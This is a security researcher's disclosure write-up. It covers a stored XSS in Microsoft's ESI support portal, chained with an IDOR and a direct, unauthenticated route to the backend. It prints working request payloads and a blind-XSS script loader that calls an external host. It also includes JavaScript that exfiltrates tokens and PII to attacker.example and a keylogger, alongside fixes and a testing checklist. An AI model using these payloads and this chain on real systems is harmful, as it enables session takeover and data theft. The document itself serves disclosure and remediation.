Stored XSS in Microsoft ESI Support Portal: From Client-Side Filter Bypass to Cross-User Takeover
Muhammad Hasan
17 min read · Oct 11, 2026

Stored XSS in Microsoft ESI Support Portal: From Client-Side Filter Bypass to Cross-User Takeover
Disclosure note: Reported to Microsoft via HackerOne / MSRC. All JWTs, ContactIDs, emails, and subscription keys below are redacted. Payloads are benign markers (
alert,onerrorbeacons). Do not test against accounts you do not own.
TL;DR
| Fact | Detail |
|---|---|
| Target | https://esisupport.microsoft.com/en-US/ (Power Pages + DynaDesk) |
| Write primitive | POST https://apim-dynadesk-prod.azure-api.net/dynadeskprod/api/external/createonesupportcase |
| Parameter | CreateCase.IssueDescription |
| Type | Stored XSS, CWE-79 |
| Root cause | GUI-only < > keystroke filter; API stores raw HTML; list + dashboard render via unescaped innerHTML |
| Triggers | /, /cases (My Cases), /createcases, agent dashboard |
| CSP | None — inline scripts + external loads + exfil all allowed |
| CVSS 3.1 | 8.2 High at first report → 9.1 Critical after chain → ≈10.0 Critical for F25 unauth variant (§7.5) |
| Upgrade chain | Token theft → PII exfil → agent takeover → cross-user XSS (GetCases IDOR + email attribution) → attachment MIME bypass |
One sentence: validate on the client, trust on the server, render as HTML — and one learner account reaches agent sessions and other users' mailboxes.
0. Architecture (what talks to what)
┌──────────────┐ 1. login (Entra ID) ┌──────────────────────────┐
│ Learner │ ───────────────────────▶ │ esisupport.microsoft.com │
│ browser │ │ (Power Pages portal) │
└──────┬───────┘ ◀── 2. cases page ─────── │ renders Description │
│ innerHTML sink │ via ${...Description} │
│ └────────────┬─────────────┘
│ 3. POST createonesupportcase │ 4. forwards
│ (Bearer JWT + sub key) ▼
│ ┌──────────────────────────────┐
└─────────────────────────▶│ apim-dynadesk-prod │
│ .azure-api.net (APIM) │
└──────────────┬───────────────┘
│ 5. backend
▼
┌──────────────────────────────┐
│ app-dynadeskwebapi-prod │
│ .azurewebsites.net + Dynamics│
│ asklearning.crm.dynamics.com │
└──────────────────────────────┘
Key observation: the portal is a thin renderer. The security boundary is the APIM API, not the page JS. The page JS filter is cosmetic.
1. Recon: finding the real API
In DevTools → Network, creating a case fires:
POST /dynadeskprod/api/external/createonesupportcase
Host: apim-dynadesk-prod.azure-api.net
Origin: https://asklearning.microsoftcrmportals.com
Headers of interest:
| Header | Value / note |
|---|---|
Authorization |
Bearer <JWT> — minted via POST /_services/auth/token?client_id=7e48f8be-… with cookies |
Ocp-Apim-Subscription-Key |
Static key embedded in portal JS (treated as public; still redacted here) |
Ocp-Apim-Trace: true |
Returns an Azure blob URL with the full backend trace including JWT — info leak, disable in prod |
Access-Control-Allow-Origin |
https://asklearning.microsoftcrmportals.com only (not esisupport.microsoft.com) |
Supporting endpoints found in page JS:
| Endpoint | Purpose |
|---|---|
GET .../GetCases?ContactEmail=X&ContactID=Y |
Cases list (IDOR — see §7) |
POST .../resolvecase / reopencase |
State changes (validates email ownership — see §7.4) |
POST /_services/auth/token |
Mints the DynaDesk Bearer from portal cookies |
/_api/, /_api/data/v9.1/ |
400/500 — portal Web API disabled (good) |
2. The first clue: GUI says no, API says yes
In Create Case → Description, typing < or > does nothing — a keystroke handler eats them. Natural first test:
- GUI blocks
<img src=x onerror=alert(1)>— cannot type it - Intercept with Burp, send the same field raw — accepted,
200 OK, case created - Open My Cases — alert fires on list render
Minimal write primitive (redacted, copy-pasteable shape):
POST /dynadeskprod/api/external/createonesupportcase HTTP/1.1
Host: apim-dynadesk-prod.azure-api.net
Authorization: Bearer <REDACTED_JWT>
Ocp-Apim-Subscription-Key: <REDACTED>
Content-Type: application/json
Origin: https://asklearning.microsoftcrmportals.com
{
"Attachments": [],
"CreateCase": {
"SupportAreaPath": "36914f5f-d271-5c8e-f7b4-6d18ccb2c747",
"SupportCountry": "US",
"SupportLanguage": "en-US",
"Title": "XSS",
"CourseName": "None",
"UserType": "Learner",
"IssueDescription": "</div><img src=x onerror=alert('XSS-POC-123')>",
"IssueContext": {
"UserTimeZoneIssueOccurred": "Sat Jul 04 2026 02:41:52 GMT+0000",
"UserDeviceType": "PC",
"UserOSBrowserVersion": "Linux -,Chrome 144.0.0.0"
},
"Customers": [
{
"Contacts": [
{
"ContactId": "<REDACTED>",
"Email": "researcher@example.com",
"FirstName": "Researcher",
"LastName": "Test",
"IsPrimaryContact": true
}
]
}
]
}
}
Response:
HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8
2607040040000143
A
200+ case number with<>intact in storage is the whole vulnerability. Everything after this is impact.
3. Sink analysis: where it fires
The cases page builds rows by string-concatenating server data into HTML. Two sinks (line numbers from the served bundle at time of testing):
| # | Location | Sink pattern (simplified) | Fires when |
|---|---|---|---|
| 1 | cases page, ~line 1187 | <span style="display:none">${OpenCases[i].Description}</span> |
On page load — no click needed |
| 2 | case modal, ~line 1120 | <div tabindex="0">${OpenCases[i].Description}</div> |
On opening the case |
Execution matrix:
| Page | Fires? |
|---|---|
/ (Home) |
✅ |
/cases (My Cases) |
✅ |
/createcases (Create Case) |
✅ |
| Agent dashboard | ✅ |
No textContent, no sanitizer, no CSP. The </div> prefix in the payload escapes the surrounding card markup so the <img> parses as live HTML.
4. Proving it is stored (not reflected): blind XSS
Marker payload (URL-encoded in JSON, exactly like the app sends it):
// IssueDescription value used for the blind probe (case 2607310040001028)
"</div><img src=x onerror=\"var s=document.createElement('script');s.src='https://js.offseclabs.codes/?t=rlritd3tth';document.head.appendChild(s)\">"
NeXSS collector results (self-session baseline):
| UTC window | Callbacks | Origin | Verdict |
|---|---|---|---|
| 2026-07-31T06:28–06:29Z | 12+ | esisupport.microsoft.com/en-US/cases/ |
✅ Stored — fires on list load |
| 2026-07-31T06:31–07:25Z | 28 total (27 learner + 1 unknown) | same | ✅ Reproducible on revisit |
Agent origin (!= esisupport) |
0 in window | — | ⚠️ Not observed in window; learner + dashboard sinks confirmed separately |
Each callback captured uri, origin, referer, user-agent, cookies (ai_user, MC1, MUID, …), DOM snapshot, and screenshot — proving arbitrary JS execution in an authenticated session, not just a dialog box.
5. Escalation map
| # | Escalation | Primitive | Impact |
|---|---|---|---|
| E1 | Bearer theft → ATO on API | fetch('/_services/auth/token?...', {credentials:'include'}) → exfil JWT → replay via curl |
Act as victim: list/create/close cases |
| E2 | PII exfil | document.body.innerText + regex → fetch(attacker) |
Case numbers, titles, emails, names |
| E3 | CORS bypass | Steal first, call server-to-server (no browser) | APIM origin allowlist irrelevant |
| E4 | Site-wide persistence | Payload on every authed page | Keylogger / form hijack |
| E5 | No-CSP abuse | External <script src>, eval, image beacons |
Full exfil channel |
| E6 | Agent takeover | Staff opens poisoned case | All-customer PII, admin APIs |
| E7 | Cross-user stored XSS | Email attribution + GetCases IDOR (§7) |
Victim's list renders attacker's payload |
| E7b | Unauthenticated write + read (F25 chain, §7.5) | Key-only, no JWT, direct to backend | No account needed: plant XSS + dump 126 cases |
| E8 | Attachment MIME bypass | probe.html as text/html → 200 |
Second stored-XSS door aimed at staff |
| E9 | Info disclosure | Invalid CID → .NET stack trace + CRM URL + build path | Target intel for follow-ons |
6. E1–E6 in code (concepts, not weaponized)
6.1 Token theft
// Runs in victim session via the stored XSS
const r = await fetch('/_services/auth/token?client_id=7e48f8be-7eda-4ced-8cb6-05536e254373', {
method: 'POST',
credentials: 'include'
});
const { token } = await r.json();
// also mirrored: sessionStorage.getItem('c2Token')
await fetch('https://attacker.example/collect', {
method: 'POST',
body: JSON.stringify({ jwt: token })
});
Verified: the exfiltrated JWT creates cases from a VPS with plain curl — no CORS, no cookies. JWT claims include sub (user ID), email, display name, and scope. HttpOnly cookies would not have stopped this; the token is reachable via a first-party API.
6.2 PII sweep
const text = document.body.innerText;
const emails = text.match(/[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}/g) || [];
const cases = [...document.querySelectorAll('[data-case-number]')].map(el => el.textContent);
navigator.sendBeacon('https://attacker.example/exfil', JSON.stringify({ emails, cases }));
The /cases DOM already contains everything an attacker needs — no further API calls required.
6.3 Why CORS does not save you
Browser (victim) ──XSS──▶ fetch(token) ──exfil──▶ attacker VPS
│
└── curl + Bearer ──▶ APIM API (no CORS in curl)
CORS constrains browsers, not attackers with a stolen Bearer.
6.4 Keylogger shape
document.addEventListener('keydown', e => {
new Image().src = 'https://attacker.example/k?k=' + encodeURIComponent(e.key);
});
Because execution is site-wide (including auth-adjacent flows), keystrokes and form values are in scope.
7. Breaking self-XSS: the cross-user chain (E7)
This is the section that moves the finding from "my alert box" to "anyone's session."
7.1 Flaw A — ownership comes from the request body
createonesupportcase attributes the new case to whatever Customers[].Contacts[].Email says. No check against JWT sub.
{
"CreateCase": { "Title": "IDOR attr probe xss-email", "IssueDescription": "<XSS payload>" },
"Customers": [{ "Contacts": [{ "Email": "victim@example.com", "ContactId": "<ATTACKER_VALID_CID>" }] }]
}
Result: HTTP 200 → case 2608010040000454, attributed to victim@example.com, invisible in my own list.
7.2 Flaw B — GetCases trusts (ContactEmail, ContactID) params
GET /dynadeskprod/api/external/GetCases?ContactEmail=<ANY>&ContactID=<ANY> HTTP/1.1
Host: apim-dynadesk-prod.azure-api.net
Authorization: Bearer <MY_JWT sub=<MY_CID>>
Same JWT, different params, different victims' data:
ContactEmail param |
ContactID param |
Result |
|---|---|---|
| my email | my CID | ✅ 200, 13 cases (all mine) |
victim@example.com |
my CID | ✅ 200, victim-attributed cases incl. 2608010040000454 |
attacker-controlled@example.com |
my CID | ✅ 200, 2 cases (1184, 1194) |
| empty email or empty CID | any | ❌ 500 |
APIM trace (Ocp-Apim-Trace: true) shows both params forwarded verbatim to app-dynadeskwebapi-prod.azurewebsites.net/api/external/GetCases. The JWT is validated for authentication but never used for authorization.
7.3 The chain, step by step
1. Attacker ──POST createonesupportcase──▶ Email=victim@…, IssueDescription=<XSS>
2. Server stores case under victim's email (Flaw A)
3. Victim opens /cases ──GET GetCases?ContactEmail=victim@…──▶ returns poisoned row (Flaw B)
4. Page renders Description via innerHTML sink (§3) ──▶ XSS executes in victim session
5. Payload steals token (E1) + PII (E2) ──▶ full victim ATO
7.4 Write-side control (important nuance)
| Operation | Cross-email attempt | Result |
|---|---|---|
GetCases (read) |
Any email + my CID | ✅ 200 — vulnerable (IDOR) |
createonesupportcase (attribute) |
Any email | ✅ 200 — vulnerable (attribution) |
resolvecase / reopencase (write) |
Case 1184 + my email |
❌ 500 — validates ownership |
Write IDOR is not confirmed; read + create flaws are. Report exactly that — overclaiming burns credibility.
7.5 F25: unauthenticated write + read — no account needed
This is the escalation that removes the last prerequisite: the attacker needs no learner account at all. Only the public subscription key, which ships in anonymous page HTML.
Prereq — key in anon HTML. GET /en-US/cases/ with no cookies returns 200 with isPortalUserLoggedIn = 'False' and three occurrences of:
xhr.setRequestHeader("Ocp-Apim-Subscription-Key", "<REDACTED>");
Anyone who can load the login page has the key.
Bypass point — APIM vs backend. Probing both hosts with the same key-only requests (f25_probe.sh, sequential, read-only):
| Host | Key-only GetCases |
With dummy JWT | Verdict |
|---|---|---|---|
apim-dynadesk-prod.azure-api.net/dynadeskprod/... |
❌ 401 JWT not present |
❌ 401 validate-jwt |
✅ Gated |
app-dynadeskwebapi-prod.azurewebsites.net/api/... |
✅ 200 |
✅ 200 |
❌ No auth — backend reachable directly |
The APIM gateway enforces JWT. The backend App Service behind it does not — and it is reachable over the internet.
Unauth write (poc-73698). Key only, no Authorization header, straight to the backend:
POST /api/external/createonesupportcase HTTP/1.1
Host: app-dynadeskwebapi-prod.azurewebsites.net
Ocp-Apim-Subscription-Key: <REDACTED>
Content-Type: application/json
{
"Attachments": [
{ "FileName": "sec_test.txt", "MediaType": "text/plain",
"Base64String": "data:text/plain;base64,S0FL", "FileSize": "3" }
],
"CreateCase": {
"SupportAreaPath": "529d3f7d-1522-1071-6f82-ac854cf39fa1",
"SupportCountry": "US",
"SupportLanguage": "en-US",
"Title": "SECURITY TEST F25 BURP 45427",
"CourseName": "",
"UserType": "Learner",
"IssueDescription": "unauthenticated write verification - burp repro",
"IssueContext": { "UserTimeZoneIssueOccurred": "", "UserDeviceType": "", "UserOSBrowserVersion": "" },
"Customers": [{ "Contacts": [{
"ContactId": "<REDACTED>",
"Email": "test@example.com",
"FirstName": "SECURITY", "LastName": "TEST",
"IsPrimaryContact": true }] }]
}
}
HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8
2608030040001339
Same primitive with an XSS payload instead of the benign string plants unauthenticated stored XSS (video case 2608040040001120). The IssueDescription is stored raw exactly as in §2.
Unauth read-back. Same key, same host, arbitrary identity params:
GET /api/external/GetCases?ContactEmail=<ANY>&ContactID=<ANY> HTTP/1.1
Host: app-dynadeskwebapi-prod.azurewebsites.net
Ocp-Apim-Subscription-Key: <REDACTED>
| Probe | Result |
|---|---|
ContactEmail=test@example.com + known CID |
✅ 200, 4 cases incl. freshly planted 2608030040001339 |
ContactEmail=partner@example.com + partner CID |
✅ 200, 126 cases, ~392KB — case numbers, titles, descriptions, statuses, timestamps |
| Empty email or empty CID | ❌ 500 / NullReferenceException (ownership shape still expected) |
The 126-case dump (F25_partner_cases_126.json, oldest AL-162308 from 2020) is other customers' support history — readable with zero authentication.
Full F25 chain in one diagram:
1. Attacker loads /en-US/cases/ anonymously ──▶ extracts public subscription key
2. POST backend /createonesupportcase (key only, Email=victim@…, IssueDescription=<XSS>)
──▶ 200 + case number, attributed to victim, XSS stored raw
3. GET backend /GetCases?ContactEmail=victim@… (key only)
──▶ 200 + victim's full case list (PII dump, no JWT)
4. Victim / agent opens cases page ──▶ innerHTML sink (§3) fires ──▶ session takeover (E1–E6)
Assessor note on severity. The authenticated chain is CVSS 9.1 (PR:L). The F25 variant removes privileges entirely (PR:N, UI:N, S:C, C:H/I:H): scores at the top of Critical (≈10.0). Even treating the backend host as defense-in-depth rather than a supported API, the finding stands: an internet-reachable write + read path with no authentication, a public key, and stored-XSS-capable fields.
Fix for F25 specifically (in addition to §10):
- Block direct internet ingress to
app-dynadeskwebapi-prod.azurewebsites.net— only APIM should reach it (VNet / access restriction / front-door-only). - Require and validate the JWT on every backend controller, including
createonesupportcaseandGetCases— never trust the gateway alone. - Remove the subscription key from anonymous HTML; scope it per-session or drop it for anon users.
- Rebind
ContactEmail/ContactIDfrom JWTsub(§10.3) so unauth callers have nothing to impersonate.
8. E8: attachment MIME bypass (second door to staff)
Client JS whitelists:
xlsx, xls, doc, docs, pdf, csv, txt, png, jpg, mp4
The API enforced nothing:
{
"Attachments": [
{
"FileName": "probe.html",
"MediaType": "text/html",
"Base64String": "data:text/html;base64,PGh0bWw+Li4uPC9odG1sPg==",
"FileSize": "132"
}
]
}
→ HTTP 200, case created (backend forwarded, 200 after ~17.7s). An agent who downloads/opens the attachment executes the HTML/JS in their context.
E9: error + trace disclosure (recon fuel)
Invalid ContactId → HTTP 200 + body containing:
[Exception : System.ApplicationException: Request failed to retrieve the data from Dynadesk CRM
[URI: https://asklearning.crm.dynamics.com/api/data/v9.1/contacts(11111111-2222-3333-4444-555555555555)?$select=adx_identity_username
| StatusCode: NotFound ...
WWL.OneSupportIntegration/Microsoft.WWL.DynaDesk.Client/DynaDeskClient.cs:line 104
Helper.cs:line 323
DynaDeskController.cs:line 170
D:\a\1\s\DynaDesk\CustomerSupport\WWL.OneSupportIntegration\Microsoft.WWL.DynaDesk.PortalAPI\...
Plus Ocp-Apim-Trace: true returns a blob URL with the full request (JWT included). Both should be off in production.
Bonus: mass-assignment — Severity=Critical, CreationChannel=HackerProbe, UserType=Agent/Internal, CustomerType=Account, arbitrary EntitlementId/TPID all accepted with 200. Each is a follow-up probe, not a claim.
9. CVSS 3.1 breakdown
| Metric | Initial (8.2 High) | Escalated (9.1 Critical) | Why it changed |
|---|---|---|---|
| Attack Vector | N | N | Remotely exploitable |
| Attack Complexity | L | L | Trivial replay; no special conditions |
| Privileges Required | L | L | Free learner account |
| User Interaction | N | N | List render auto-fires (hidden span, no click) |
| Scope | C | C | Portal → API → agent / other-user contexts |
| Confidentiality | H | H | Tokens, case PII, agent data |
| Integrity | L | H | From alert-only to API writes as victim + cross-user plant |
| Availability | N | N | No DoS claimed |
Initial: AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N → 8.2
Escalated: AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N → 9.1
10. Fix (what actually closes all of this)
10.1 Server-side sanitization + safe rendering
Validate at the trust boundary (the API), not in page JS. C# sketch:
using Ganss.Xss; // HtmlSanitizer
var sanitizer = new HtmlSanitizer();
sanitizer.AllowedTags.Clear(); // descriptions are plain text: allow nothing
sanitizer.AllowedAttributes.Clear();
createCase.IssueDescription = sanitizer.Sanitize(createCase.IssueDescription ?? "");
// Defense in depth on render (Razor / JS):
// @Html.Encode(Model.Description) — never @Html.Raw
// element.textContent = data.description; — never innerHTML
Or with DOMPurify if rich text is ever required:
import DOMPurify from 'dompurify';
el.innerHTML = DOMPurify.sanitize(serverHtml, { ALLOWED_TAGS: [], ALLOWED_ATTR: [] });
10.2 Strict Content-Security-Policy
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'self'; frame-ancestors 'self'; form-action 'self'
No unsafe-inline, no wildcards. This alone would have neutered exfil + external script loads.
10.3 Authorization rebinding (kills E7)
// Derive identity from the validated JWT, ignore client values:
var sub = User.FindFirst("sub")?.Value; // ContactID from token
var email = await _contacts.GetEmailAsync(sub);
var cases = await _dynadesk.GetCasesAsync(email, sub); // never from query string
10.4 Attachment + error hardening
var allowed = new HashSet<string>(StringComparer.OrdinalIgnoreCase)
{ ".xlsx",".xls",".doc",".docx",".pdf",".csv",".txt",".png",".jpg",".jpeg",".mp4" };
var ext = Path.GetExtension(file.FileName);
if (!allowed.Contains(ext) || !AllowedMime(file.DetectedContentType))
return BadRequest("File type not allowed");
// serve with: Content-Disposition: attachment; Content-Type: application/octet-stream
- Turn off
Ocp-Apim-Tracein production. - Return generic errors (
400 Case not found) — no stack traces, no CRM URLs, no build paths.
11. Hunter methodology (reusable checklist)
- Map the real API behind the form (DevTools → Network → replay in Repeater)
- Test server acceptance of
<>independently of GUI filters - Trace every render location: list views, modals, dashboards, emails, exports
- Confirm stored-ness with a blind callback (NeXSS / Collaborator), not just
alert - Ask "who decides ownership?" — fuzz
Email/ContactIDagainst JWTsub - Swap read params (
GetCases?ContactEmail=X&ContactID=Y) across two owned accounts - Test write-side too (
resolve/reopen) — report the negative result honestly - Test attachments with mismatched extension vs MIME vs magic bytes
- Record negative probes (SSRF collaborator: 0 hits;
/_api/: disabled) — they scope the report - Redact secrets before publishing; use two owned accounts; never touch other users
12. Timeline
| Date (UTC) | Event |
|---|---|
| 2026-07-03 | Stored XSS confirmed in My Cases (alert('XSS-POC-123')), case 2607040040000143 |
| 2026-07-04 | Direct-API PoC finalized (poc-request.txt), agent-dashboard impact noted |
| 2026-07-22 | Escalation doc: token theft, PII exfil, API abuse, site-wide execution, no-CSP |
| 2026-07-31 | Blind-XSS validation (case 2607310040001028, 12+ NeXSS callbacks); attachment bypass + mass-assignment + stack-trace disclosure logged |
| 2026-08-01 | GetCases IDOR + email-attribution chain confirmed (case 2608010040000454); CVSS raised to 9.1 |
| 2026-08-03/04 | F25 unauth chain confirmed: key-only write (2608030040001339, 2608030040000586, video 2608040040001120) + key-only read-back (126 partner cases); video esichained.mp4 recorded |
| 2026-10-11 | Public write-up published (this article) |
13. Evidence inventory (private case file)
| Item | Path / ID |
|---|---|
| Main HackerOne report | microsoft-esi-stored-xss/hackerone-report.md |
| Raw PoC (redacted for publish) | microsoft-esi-stored-xss/evidence/poc-request.txt |
| Alert screenshot | evidence/2026-07-03_20-14.png, xsserror.png |
| Escalation chain | microsoft-esi-stored-xss/escalation-report.md |
| Blind-XSS monitor log | microsoft-esi-stored-xss/blind-xss-monitor-log.md |
| IDOR attribution proof | evidence/idor-getcases-attribution.md (cases 1184, 2608010040000454) |
| Demo media | esixss.mp4, esichained.mp4 (F25 unauth write→read chain, 3:56), xss-escalation-final.png |
| F25 chain | hunt/burp_repro/F25_unauth_create_live.txt (2608030040001339), F25_unauth_write.txt (2608030040000586), F25_unauth_read_response.txt (126 cases), F25_key_in_anon_html.txt, hunt/r25_esisup_surf/f25/f25_probe.sh, hunt/F25_partner_cases_126.json |
References
- CWE-79: Cross-site Scripting
- OWASP XSS Prevention Cheat Sheet
- OWASP Testing for Stored XSS
- PortSwigger: Exploiting XSS to steal cookies and tokens
- CVSS 3.1 Calculator
Found something similar? The pattern to grep for is: client-side filter + server-side trust + innerHTML render + ownership from request params. That quartet is worth a report every time.